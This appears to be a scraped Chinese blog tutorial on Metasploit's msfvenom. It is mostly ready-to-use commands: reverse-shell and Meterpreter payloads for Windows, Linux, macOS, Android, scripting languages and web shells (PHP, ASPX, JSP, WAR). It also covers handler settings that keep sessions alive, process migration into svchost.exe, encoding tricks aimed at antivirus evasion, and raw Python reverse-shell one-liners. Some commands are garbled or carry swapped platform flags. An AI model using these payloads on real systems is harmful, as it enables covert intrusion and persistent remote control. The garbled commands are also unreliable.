贵阳网站设计模板,渠道分销管理系统,镇江丹徒发布,网站降权msf是什么#xff1f;百度一下你就知道
常规参数 -p / -payload 指定payload 支持自定义payload -l / -list 指出攻击模块#xff08;payloads、encoders、nops、all#xff09;的可用资源 -n / nopsled 为payload预设一个NOP滑动…msf是什么百度一下你就知道
常规参数 -p / -payload 指定payload 支持自定义payload -l / -list 指出攻击模块payloads、encoders、nops、all的可用资源 -n / nopsled 为payload预设一个NOP滑动长度 //NOP指令也称作“空指令”在x86的CPU中机器码为0x90(144)。NOP不执行操作但占一个程序步 -f / -format 指定输出格式(使用 –help-formats 来获取msf支持的输出格式列表) -e / –encoder 指定编码器encoder //上一篇讲过encode是一个免杀的好办法 -a / -arch 指定target的架构 x86|x64|x86_64 -platform 指定payload目标平台 -s / -space 设定有效攻击荷载长度文件大小 -b, –bad-chars 设定规避字符集指定需要过滤的坏字符例如不使用 \x0f、\x00; -i, –iterations 指定payload的编码次数 -c, –add-code 指定一个附加的win32 shellcode文件 -x, –template 指定一个自定义的可执行文件作为模板,并将payload嵌入其中 -k, –keep 保护模板程序的动作注入的payload作为一个新的进程运行 –payload-options 列举payload的标准选项 –shellest 最小化生成payload 比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options
可以看到评级最高的两个encoder为cmd/powershell_base64和x86/shikata_ga_nai其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。
类似可用msfvenom --list命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats
几个重要的监听参数
防止假session
在实战中经常会遇到假session或者刚连接就断开的情况这里补充一些监听参数防止假死与假session。 msf exploit(multi/handler) set ExitOnSession false //可以在接收到seesion后继续监听端口保持侦听 防止session意外退出
msf5 exploit(multi/handler) set SessionCommunicationTimeout 0 //默认情况下如果一个会话将在5分钟300秒没有任何活动那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) set SessionExpirationTimeout 0 //默认情况下一个星期604800秒后会话将被强制关闭,修改为0可永久不会被关闭 handler后台持续监听 msf exploit(multi/handler) exploit -j -z 使用exploit -j -z可在后台持续监听,-j为后台任务-z为持续监听使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
还有种比较快捷的建立监听的方式在msf下直接执行 msf5 handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp 会生成监听
payload的可持续化
一般来说使用msfvenom生成的payload会单独开启一个进程这种进程很容易被发现和关闭在后期想做持久化的时候只能再使用migrate进行。 其实在生成payload时可直接使用如下命令生成的payload会直接注入到指定进程中。 msfvenom -p windows/meterpreter/reverse_tcp LHOST10.211.55.2 LPORT3333 -e x86/shikata_ga_nai -b \x00 -i 5 -a x86 --platform win PrependMigratetrue PrependMigrateProcsvchost.exe -f exe -o shell.exe
生成的shell程序执行后会启动两个进程shell.exe和svchost.exe关闭其中一个不会影响会话状态。唯一美中不足的是svchost.exe不是system32目录下的。 在上面的生成payload参数中
1PrependMigratetrue PrependMigrateProcsvchost.exe 使这个程序默认会迁移到svchost.exe进程自己测试的时候不建议到这个进程而是其他的持久进程。
2使用-p指定使用的攻击载荷模块使用-e指定使用x86/shikata_ga_nai编码器使用-f选项告诉MSF编码器输出格式为exe-o选项指定输出的文件名为payload.exe保存在根目录下。
绕过杀软
这是green-m大佬提到的一种方式使用reverse_https等payload时可以使用下列方法bypass部分杀软。
生成payload:msfvenom -p windows/meterpreter/reverse_https lhost10.211.55.2 lport3333 -f c
在msf中进行如下设置将控制端向被控制端发送的stage进行编码
msf exploit(multi/handler) set EnableStageEncoding true //尝试使用不同的编码器对stage进行编码可能绕过部分杀软的查杀EnableStageEncoding truemsf exploit(multi/handler) set stageencoder x86/fnstenv_movStageencoder x64/xormsf exploit(multi/handler) set stageencodingfallback falsestageencodingfallback false
同样使用reverse_tcp_rc4也有同样的效果而且不能设置stageencoder选项更稳定更方便。
msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost10.211.55.2 lport3333 RC4PASSWORDtidesec -f c
利用rc4对传输的数据进行加密密钥在生成时指定在监听的服务端设置相同的密钥。就可以在symantec眼皮下执行meterpreter。
各平台payload生成
二进制
windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST10.211.55.2 LPORT3333 -a x86 --platform Windows -f exe shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST10.211.55.2 LPORT3333 -f exe shell.exe
windows下生成32位/64位payload时需要注意以windows/meterpreter/reverse_tcp为例该payload默认为32位也可使用-a x86选项指定。如果要生成64位则payload为windows/x64/meterpreter/reverse_tcp。
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST10.211.55.2 LPORT3333 -a x86 --platform Linux -f elf shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST10.211.55.2 LPORT3333 -a x86 --platform osx -f macho shell.macho
Android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST10.211.55.2 LPORT3333 -f raw shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST10.211.55.2 LPORT3333 R test.apk
Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST10.211.55.2 LPORT3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
Netcat
nc正向连接
msfvenom -p windows/shell_hidden_bind_tcp LHOST10.211.55.2 LPORT3333 -f exe 1.exe
nc反向连接监听
msfvenom -p windows/shell_reverse_tcp LHOST10.211.55.2 LPORT3333 -f exe 1.exe
Shellcode
基于Linux的Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST10.211.55.2 LPORT3333 -a x86 --platform Windows -f c
基于Windows的Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST10.211.55.2 LPORT3333 -a x86 --platform Linux -f c
基于Mac的Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST10.211.55.2 LPORT3333 -a x86 --platform osx -f c
脚本
Python反弹shell
msfvenom -p cmd/unix/reverse_python LHOST10.211.55.2 LPORT3333 -f raw shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST10.211.55.2 LPORT3333 -f raw shell.py
Python正向shell
python/python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.211.55.2,3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);
python/python3 -c exec(\import socket, subprocess;s socket.socket();s.connect((10.211.55.2,3333))\nwhile 1: proc subprocess.Popen(s.recv(1024), shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.PIPE, stdinsubprocess.PIPE);s.send(proc.stdout.read()proc.stderr.read())\)
Bash
msfvenom -p cmd/unix/reverse_bash LHOST10.211.55.2 LPORT3333 -f raw shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST10.211.55.2 LPORT3333 -f raw shell.pl
Lua
msfvenom -p cmd/unix/reverse_lua LHOST10.211.55.2 LPORT3333 -f raw -o shell.lua
Ruby
msfvenom -p ruby/shell_reverse_tcp LHOST10.211.55.2 LPORT3333 -f raw -o shell.rb
Web
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST10.211.55.2 LPORT3333 -f raw shell.phpcat shell.php | pbcopy echo ?php | tr -d \n shell.php pbpaste shell.php
ASPX
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST10.211.55.2 LPORT3333 -f aspx -o shell.aspx
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST10.211.55.2 LPORT3333 -f asp shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST10.211.55.2 LPORT3333 -f raw shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST10.211.55.2 LPORT3333 -f war shell.war
nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST10.211.55.2 LPORT3333 -f raw -o shell.jsHandlers
use exploit/multi/handlerset PAYLOAD Payload nameset LHOST 10.211.55.2set LPORT 3333set ExitOnSession falseexploit -j -z
msfvenom命令自动补全
msfvenom参数和命令很多各种payload和encoder经常让人眼花缭乱特别是对英语不好的人来说有些命令可能很容易忘记。所以Green_m大佬写了一个zsh插件可以自动化的补全msfvenom命令有了它妈妈再也不用担心我会忘记msfvenom命令了
先看看安装后的效果 安装如下
安装前提已经安装了zsh。
# 下载msfvenom plugin.git clone https://github.com/Green-m/msfvenom-zsh-completion ~/.oh-my-zsh/custom/plugins/msfvenom/
# 打开 ~/.zshrc 文件启用插件plugins(... msfvenom)
# 在当前shell中导入.zshrc文件中的设置source ~/.zshrc 之后可正常使用。
参考资料
msfvenom 进阶:https://klionsec.github.io/2017/03/08/msfvenom-advanced/
How to use msfvenom:https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
msfvenom 使用方法简单介绍http://www.onebug.org/testing/161.html
Bypass AV meterpreter免杀技巧:https://green-m.me/2016/11/15/meterpreter-bypass-av/